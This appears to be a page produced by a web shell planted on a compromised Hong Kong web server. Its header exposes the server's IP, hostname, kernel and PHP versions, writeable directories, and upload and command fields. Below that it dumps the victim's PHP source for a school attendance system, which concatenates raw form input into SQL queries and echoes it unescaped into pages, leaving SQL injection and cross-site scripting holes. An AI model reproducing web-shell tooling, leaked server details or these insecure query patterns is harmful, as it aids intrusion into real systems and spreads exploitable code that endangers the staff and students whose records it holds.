403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140407/Attendance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140407/Attendance/attendance_index.php
<!DOCTYPE html>
<html>
    <head>
        <?php require_once '../include/head.php'; ?>
        <?php require_once '../include/checkuser.php'; ?>
        <?php require_once '../include/Nav_bar.php'; ?>
        <?php include_once '../include/DBConnect.php'; ?>
        <script>
            $(function() {
                $('.date-picker').datetimepicker({pickTime: false});
                $('#search_form').validate();
                $('.time').timepicker({'step': 15, 'timeFormat': 'H:i', 'minTime': '06:00', 'maxTime': '23:30'});
                $('.staff_name').select2();
                $('.stun').select2();
                $('.searchstun').select2();
            });
            function check_change(e) {
                $('#tablehead  tr:nth-child(' + (e + 2) + ') input[type=checkbox] ').attr("checked", true);
            }
        </script>
        <?php if (isset($_POST['go'])) { ?>
            <script>
                $(function() {
                    $('#staff_name').select2().select2('val', '<?= $_POST['staff_name'] ?>');
                    $('#stun').select2().select2('val', '<?= $_POST['searchstun'] ?>');
                });
            </script>
        <?php } ?>
    </head>
    <body>
        <?php
        //Dim data
        $countstaff = 0;
        $staffid = "";
        $startdate = date('Y-m-d');
        $enddate = date('Y-m-d');
        $today = date('Y-m-d');
        $reason = array();
        array_push($reason, '');
        $sth = $dbh->query("SELECT `reason_name` reason_name FROM `reason` WHERE `actived`=1 and `deleted`=0");
        while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) {
            array_push($reason, $ResultSet['reason_name']);
        }
        ?>
        <?php
        /* if (isset($_POST['save'])) {
          //insert data
          $startdate = $_POST['startdate'];
          $enddate = $_POST['enddate'];
          for ($i = strtotime($startdate); $i <= strtotime($enddate); $i = $i + 86400) {
          $countstaff = 0;
          $countstudent = 0;
          $today = date('Y-m-d', $i);
          foreach ($_POST["staffid_$today"] as $insertid) {
          if (isset($_POST["check_$today"][$countstaff]) && $_POST["check_$today"][$countstaff] = '1') {
          $sth = $dbh->prepare("UPDATE attendance SET deleted = 1 WHERE staff_id = ? and date = ?");
          $sth->bindParam(1, $insertid);
          $sth->bindParam(2, $today);
          $sth->execute();
          $sth = $dbh->prepare("INSERT INTO `attendance`(`createby`, `createdate`, `lastupby`, `lastupdate`, `actived`, `deleted`, `staff_id`, `stu_linking_id`, `date`, `attendance`, `in_time`, `out_time`, `reason_id`) VALUES (1, now(), 1 ,now(),1,0,?,NULL,?,?,?,?,?) ");
          $sth->bindParam(1, $insertid);
          $sth->bindParam(2, $today);
          $sth->bindParam(3, $_POST["staffr_$countstaff"][$today]);
          $sth->bindParam(4, $_POST["start_time_$countstaff"][$today]);
          $sth->bindParam(5, $_POST["end_time_$countstaff"][$today]);
          $sth->bindParam(6, $_POST["reason_$countstaff"][$today]);
          $sth->execute();
          }
          if (isset($_POST["nocheck_$today"][$countstaff])) {
          $sth = $dbh->prepare("INSERT INTO `attendance`(`createby`, `createdate`, `lastupby`, `lastupdate`, `actived`, `deleted`, `staff_id`, `stu_linking_id`, `date`, `attendance`, `in_time`, `out_time`, `reason_id`) VALUES (1, now(), 1 ,now(),1,0,?,NULL,?,?,?,?,?) ");
          $sth->bindParam(1, $insertid);
          $sth->bindParam(2, $today);
          $sth->bindParam(3, $_POST["staffr_$countstaff"][$today]);
          $sth->bindParam(4, $_POST["start_time_$countstaff"][$today]);
          $sth->bindParam(5, $_POST["end_time_$countstaff"][$today]);
          $sth->bindParam(6, $_POST["reason_$countstaff"][$today]);
          $sth->execute();
          }
          $countstaff++;
          }
          if (isset($_POST["stuid_$today"])) {
          foreach ($_POST["stuid_$today"] as $insertid) {
          if (isset($_POST["check_$today"][$countstudent]) && $_POST["check_$today"][$countstudent] = '1') {
          $sth = $dbh->prepare("UPDATE attendance SET deleted = 1 WHERE stu_linking_id = ? and date = ?");
          $sth->bindParam(1, $insertid);
          $sth->bindParam(2, $today);
          $sth->execute();
          $sth = $dbh->prepare("INSERT INTO `attendance`(`createby`, `createdate`, `lastupby`, `lastupdate`, `actived`, `deleted`, `staff_id`, `stu_linking_id`, `date`, `attendance`, `in_time`, `out_time`, `reason_id`) VALUES (1, now(), 1 ,now(),1,0,NULL,?,?,?,?,?,?) ");
          $sth->bindParam(1, $insertid);
          $sth->bindParam(2, $today);
          $sth->bindParam(3, $_POST["stur_$countstudent"][$today]);
          $sth->bindParam(4, $_POST["stu_start_time_$countstudent"][$today]);
          $sth->bindParam(5, $_POST["stu_end_time_$countstudent"][$today]);
          $sth->bindParam(6, $_POST["stu_reason_$countstudent"][$today]);
          $sth->execute();
          }
          $countstudent++;
          }
          }
          }
          echo "<script>alert('Add successful.')</script>";
          }
          if (isset($_POST['addstu']) && $_POST['stun'] != "student_name") {
          $adddate = $_POST['studate'];
          $stuname = $_POST['stun'];
          $stid;
          $searchstid = "select root_id from student where deleted = 0 and CONCAT(last_name, ' ', first_name) =  '$stuname'";
          $result = $dbh->query($searchstid);
          $result->setFetchMode(PDO::FETCH_OBJ);
          while ($row = $result->fetch()) {
          $stid = $row->root_id;
          }
          $sth = $dbh->prepare("INSERT INTO `attendance`(`createby`, `createdate`, `lastupby`, `lastupdate`, `actived`, `deleted`, `staff_id`, `stu_linking_id`, `date`, `attendance`, `in_time`, `out_time`, `reason_id`) VALUES (1, now(), 1 ,now(),1,0,NULL,?,?,1,?,?,0) ");
          $sth->bindParam(1, $stid);
          $sth->bindParam(2, $adddate);
          $sth->bindParam(3, $_POST['start_time_stu']);
          $sth->bindParam(4, $_POST['end_time_stu']);
          $sth->execute();
          } */
        ?>
        <!-- line between nav bar and content -->
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active">Daily Attendance</li>
            </ul>
        </div>
        <!-- line between nav bar and content -->
        <div class="container-fluid pathways-container">
            <div>
                <table border="0" width="100%">
                    <tr>
                        <td><h2>Daily Attendance</h2></td>
                        <td><a href="attendance_add.php" class="btn pull-right"><i class="icon-plus"></i> Add</a></td>
                    </tr>
                </table>
            </div>
            <div class="pathways-search">
                <form id="search_form" class="form-inline" action="" method="POST">
                    <div class="pathways-inline-block">
                        <label class="">Date</label>
                        <div class="input-append date-picker">                
                            <input id="start_date" class="dateISO" type="text" maxlength="200" data-format="yyyy-MM-dd" name="startdate" value="<?php
                            if (isset($_POST['go']))
                                echo $_POST['startdate'];
                            else
                                echo $startdate;
                            ?>" style="width:90px" required>              
                            <span class="add-on">
                                <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                            </span>
                        </div>

                        <label class="" >To</label>
                        <div class="input-append date-picker">           
                            <input id="end_date" class="dateISO" type="text" maxlength="200" data-format="yyyy-MM-dd"  name="enddate" value="<?php
                            if (isset($_POST['go']))
                                echo $_POST['enddate'];
                            else
                                echo $enddate;
                            ?>" style="width:90px" required>              
                            <span class="add-on">
                                <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                            </span>
                        </div>
                    </div>
                    <div class="pathways-inline-block">
                        <label>Student</label>
                        <select name="searchstun" id="stun" class="stun" style="width:170px">                            
                            <option value="ALL">All</option>
                            <?php $sth = $dbh->query("SELECT linking_id,`New_stu_ID` id,CONCAT(last_name, ' ', first_name) studentname,`ch_name`FROM `student` WHERE `actived`=1 and`deleted`=0 group by `New_stu_ID`,`Sem_yr`"); ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?> 
                                <option value="<?= $ResultSet['studentname']; ?>"><?= $ResultSet['studentname'] ?></option>
                            <?php } ?>
                        </select> 
                    </div>
                    <div class="pathways-inline-block">
                        <label>Staff Name</label>
                        <select name="staff_name" id="staff_name" class="staff_name" style="width: 200px">                           
                            <option value="ALL">All</option>
                            <?php $sth = $dbh->query("SELECT CONCAT(`last_name`,' ',`first_name`) staffname, `ch_name` , `staff_id` FROM `staff` WHERE `actived`=1 and `deleted`=0 group by `staff_id`"); ?>
                            <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>                                        
                                <option value="<?= $ResultSet['staffname'] ?>" ><?= $ResultSet['staffname'] ?></option>
                            <?php } ?>
                        </select>
                    </div>
                    <div class="pathways-inline-block">
                        <button class="btn" name="go" value="go" style="margin-left:30px" type="submit">Search</button>
                        <input type="hidden" name="staffid[]" value="">
                    </div>
                    <hr>
                    <!--div class="pathways-inline-block">
                        <label>Add Student</label>
                        <select name="stun" id="stun" class="stun" style="width:170px">
                            <option value="student_name"></option>
                    <?php /* $sth = $dbh->query("SELECT linking_id,`New_stu_ID` id,CONCAT(last_name, ' ', first_name) studentname,`ch_name`FROM `student` WHERE `actived`=1 and`deleted`=0 group by `New_stu_ID`,`Sem_yr`"); ?>
                      <?php while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) { ?>
                      <option value="<?= $ResultSet['studentname'] ?>"><?= $ResultSet['studentname'] ?></option>
                      <?php } */ ?>
                        </select> 
                    </div>
                    <label class="">In time</label>
                    <div class="pathways-inline-block">
                        <input id="start_time" type="text" class="time" name = "start_time_stu" style = "width:45px">
                    </div>
                    <label class="">Out time</label>
                    <div class="pathways-inline-block">
                        <input id="end_time" type="text" class="time" name = "end_time_stu" style = "width:45px">
                    </div>
                    <label class="" >Date</label>
                    <div class="input-append date-picker">           
                        <input id="end_date" class="dateISO" type="text" maxlength="200" data-format="yyyy-MM-dd"  name="studate" style="width:90px" value="<?= $today ?>">              
                        <span class="add-on">
                            <i class="icon-calendar" data-date-icon="icon-calendar" data-time-icon="icon-time"></i>
                        </span>
                    </div>
                    <div class="input-append date-picker">
                        <button class="btn" name="addstu" value="addstu" style="margin-left:30px" type="submit">ADD</button>
                    </div-->

                </form>            
            </div>        
            <!-- date picker -->

            <?php
            if (isset($_POST['go'])) {
                $searchstudent = NULL;
                $searchstaff = NULL;
                $startdate = $_POST['startdate'];
                $enddate = $_POST['enddate'];
                if ($_POST['staff_name'] != "ALL")
                    $searchstaff = " CONCAT(last_name, ' ', first_name) = '" . $_POST['staff_name'] . "' and ";
                if ($_POST['staff_name'] != "ALL" && $_POST['searchstun'] == "ALL")
                    $searchstudent = " CONCAT(last_name, ' ', first_name) = 'no search' and ";
                if ($_POST['searchstun'] != "ALL")
                    $searchstudent = " CONCAT(last_name, ' ', first_name) = '" . $_POST['searchstun'] . "' and ";
                if ($_POST['searchstun'] != "ALL" && $_POST['staff_name'] == "ALL")
                    $searchstaff = " CONCAT(last_name, ' ', first_name) = 'no search' and ";
                //search data
                ?>
                <form id="form" action="" method="POST">
                    <?php
                    for ($i = strtotime($startdate); $i <= strtotime($enddate); $i = $i + 86400) {
                        $today = date('Y-m-d', $i);
                        ?>
                        <h5>Date: <?= $today ?></h5>
                        <table class="table table-striped table-bordered table-hover table-condensed" id="tablehead">  
                            <thead>
                                <tr>
                                    <th >Name</th>
                                    <th style="min-width:50px; width:50px">Type</th>
                                    <th style="min-width:150px; width:150px">In Time</th>
                                    <th style="min-width:150px; width:150px">Out Time</th>
                                    <th style="min-width:250px; width:250px">Attendance</th>
                                    <th style="min-width:200px; width:200px">Reason(If Absent)</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php
                                $query = "select CONCAT(last_name, ' ', first_name,'(',ch_name,')') name, root_id, staff_punch_id from staff where actived = 1 and".$searchstaff." deleted = 0";
                                                                                        
//$search = "select date from attendance where deleted = 0 and staff_id in (select staff_id from attendance where staff_id <> 'NULL') group by date";
                                $searchstaff1 = $dbh->query($query);
                                $searchstaff1->setFetchMode(PDO::FETCH_OBJ);
                                while ($row = $searchstaff1->fetch()) {
                                    $empquery = "select MAX( DATE_FORMAT(`punchtime`, '%H:%i')) as out_time , MIN( DATE_FORMAT(`punchtime`, '%H:%i')) as in_time from attendpunch where empid = '$row->staff_punch_id' and DATE_FORMAT(`punchtime`, '%Y-%m-%d') = '$today' ";
                                    $searchattend = $dbh->query($empquery);
                                    $searchattend->setFetchMode(PDO::FETCH_OBJ);
                                    while ($row1 = $searchattend->fetch()) {
                                        if ($row1->in_time != NULL && $row1->out_time != NULL) {
                                            ?>
                                            <tr>
                                                <td><h5><?= $row->name ?></h5></td>
                                                <td><h5>Teacher</h5></td>
                                                <td><h5><?= $row1->in_time ?></h5></td>
                                                <td><h5><?= $row1->out_time ?></h5></td>
                                                <td><h5>Present</h5></td>
                                                <td><h5>No reason</h5></td>
                                            </tr>
                                            <?php
                                        } else {
                                            $haveleave = false;
                                            $leavequery = "select leave_id, reason_id from leave_app where deleted = 0 and staff_id = '$row->root_id' and '$today' between date(start_date) and date(end_date)";
                                            $searchleave = $dbh->query($leavequery);
                                            $searchleave->setFetchMode(PDO::FETCH_OBJ);
                                            while ($row2 = $searchleave->fetch()) {
                                                $haveleave = true;
                                                ?>
                                                <tr>
                                                    <td><h5><?= $row->name ?></h5></td>
                                                    <td><h5>Teacher</h5></td>
                                                    <td><h5>NULL</h5></td>
                                                    <td><h5>NULL</h5></td>
                                                    <td><h5>Absent</h5></td>
                                                    <td><h5><?= $reason[$row2->reason_id] ?></h5></td>
                                                </tr>
                                                <?php
                                            }
                                            if ($haveleave == false) {
                                                ?>
                                                <tr>
                                                    <td><h5><?= $row->name ?></h5></td>
                                                    <td><h5>Teacher</h5></td>
                                                    <td><h5>NULL</h5></td>
                                                    <td><h5>NULL</h5></td>
                                                    <td><h5>Absent</h5></td>
                                                    <td><h5>No reason Absent</h5></td>
                                                </tr>
                                                <?php
                                            }
                                        }
                                    }
                                }
                                $query2 = "select CONCAT(last_name, ' ', first_name,'(',ch_name,')') name, root_id, stu_punch_id from student where actived = 1 and ".$searchstudent." deleted = 0";
                                //$search = "select date from attendance where deleted = 0 and staff_id in (select staff_id from attendance where staff_id <> 'NULL') group by date";
                                $searchstu = $dbh->query($query2);
                                $searchstu->setFetchMode(PDO::FETCH_OBJ);
                                while ($row3 = $searchstu->fetch()) {
                                    $empquery = "select MAX( DATE_FORMAT(`punchtime`, '%H:%i')) as out_time , MIN( DATE_FORMAT(`punchtime`, '%H:%i')) as in_time from attendpunch where empid = '$row3->stu_punch_id' and DATE_FORMAT(`punchtime`, '%Y-%m-%d') = '$today' ";
                                    $searchattend = $dbh->query($empquery);
                                    $searchattend->setFetchMode(PDO::FETCH_OBJ);
                                    while ($row4 = $searchattend->fetch()) {
                                        if ($row4->in_time != NULL && $row4->out_time != NULL) {
                                            ?>
                                            <tr>
                                                <td><h5><?= $row3->name ?></h5></td>
                                                <td><h5>Student</h5></td>
                                                <td><h5><?= $row4->in_time ?></h5></td>
                                                <td><h5><?= $row4->out_time ?></h5></td>
                                                <td><h5>Present</h5></td>
                                                <td><h5>No reason</h5></td>
                                            </tr>
                                            <?php
                                        }
                                    }
                                }
                                        ?>
                                    </tbody>
                                </table>
                            <?php } ?>
                        </form>
                    <?php } ?>

        </div> <!-- /container -->

    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit